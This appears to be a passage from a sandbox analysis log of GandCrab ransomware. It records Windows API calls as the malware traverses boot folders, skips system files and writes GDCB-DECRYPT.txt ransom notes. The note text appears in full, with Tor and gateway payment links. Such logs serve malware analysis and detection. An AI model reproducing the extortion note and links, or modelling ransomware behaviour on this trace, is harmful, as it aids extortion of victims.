returned 1 [0052.940] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.940] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.940] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.940] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt" [0052.940] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.940] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0052.940] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0052.940] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0052.940] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.940] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.941] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.941] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.941] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.941] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0052.941] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0052.941] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-CN" | out: lpString1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0052.941] lstrcatW (in: lpString1="C:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="C:\\Boot\\zh-CN\\") returned="C:\\Boot\\zh-CN\\" [0052.941] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.941] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.941] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.941] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.941] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.941] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.942] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0052.942] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-CN\\*") returned="C:\\Boot\\zh-CN\\*" [0052.942] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.942] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.942] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.942] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.942] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.942] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.942] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.942] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.942] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0052.942] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0052.942] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.942] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.942] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.942] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.942] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned="C:\\Boot\\zh-CN\\memtest.exe.mui" [0052.942] lstrlenW (lpString="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0052.942] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.942] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.942] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.942] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.943] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-CN\\\\GDCB-DECRYPT.txt") returned 31 [0052.943] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-cn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.943] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.943] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.943] CloseHandle (hObject=0x4e0) returned 1 [0052.943] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.944] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0052.944] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-CN\\*") returned="C:\\Boot\\zh-CN\\*" [0052.944] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588b20 [0052.944] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.944] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.944] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.944] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.944] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.944] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.944] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.944] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0052.944] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.944] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0052.945] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0052.945] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.945] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.945] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.945] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.945] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt" [0052.945] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.945] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0052.945] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0052.945] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0052.945] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0052.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.945] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.946] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.946] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.946] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.946] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.946] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.946] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.946] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned="C:\\Boot\\zh-CN\\memtest.exe.mui" [0052.946] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.946] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0052.946] lstrlenW (lpString="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0052.946] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.947] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.947] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.947] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.951] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0052.951] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0052.951] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-HK" | out: lpString1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0052.951] lstrcatW (in: lpString1="C:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="C:\\Boot\\zh-HK\\") returned="C:\\Boot\\zh-HK\\" [0052.951] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.952] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.952] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0052.952] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-HK\\*") returned="C:\\Boot\\zh-HK\\*" [0052.952] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588e60 [0052.954] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.954] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.955] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.955] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.955] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.955] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.955] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.955] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0052.955] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0052.955] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.955] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.955] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.955] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.955] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned="C:\\Boot\\zh-HK\\memtest.exe.mui" [0052.955] lstrlenW (lpString="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0052.955] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.955] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.955] FindClose (in: hFindFile=0x588e60 | out: hFindFile=0x588e60) returned 1 [0052.955] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.956] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-HK\\\\GDCB-DECRYPT.txt") returned 31 [0052.956] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-hk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.957] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.957] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.957] CloseHandle (hObject=0x4e0) returned 1 [0052.958] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.958] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0052.958] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-HK\\*") returned="C:\\Boot\\zh-HK\\*" [0052.958] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.958] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.958] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.958] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.958] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.958] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.958] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.958] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.958] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0052.958] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.959] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0052.959] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0052.959] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.959] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.959] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.959] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.959] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt" [0052.959] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.960] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0052.960] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0052.960] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0052.960] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.960] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.960] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.960] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.960] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.960] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned="C:\\Boot\\zh-HK\\memtest.exe.mui" [0052.960] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.961] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0052.961] lstrlenW (lpString="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0052.961] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.961] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.961] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0052.961] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0052.961] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-TW" | out: lpString1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0052.961] lstrcatW (in: lpString1="C:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="C:\\Boot\\zh-TW\\") returned="C:\\Boot\\zh-TW\\" [0052.961] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.961] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.962] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.962] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.962] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0052.962] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-TW\\*") returned="C:\\Boot\\zh-TW\\*" [0052.962] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.963] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.963] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.963] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.963] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.963] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.963] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.963] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.963] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0052.963] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0052.963] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.963] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.963] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.963] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.963] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned="C:\\Boot\\zh-TW\\memtest.exe.mui" [0052.963] lstrlenW (lpString="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0052.963] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.963] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.963] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.963] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.964] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-TW\\\\GDCB-DECRYPT.txt") returned 31 [0052.964] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-tw\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 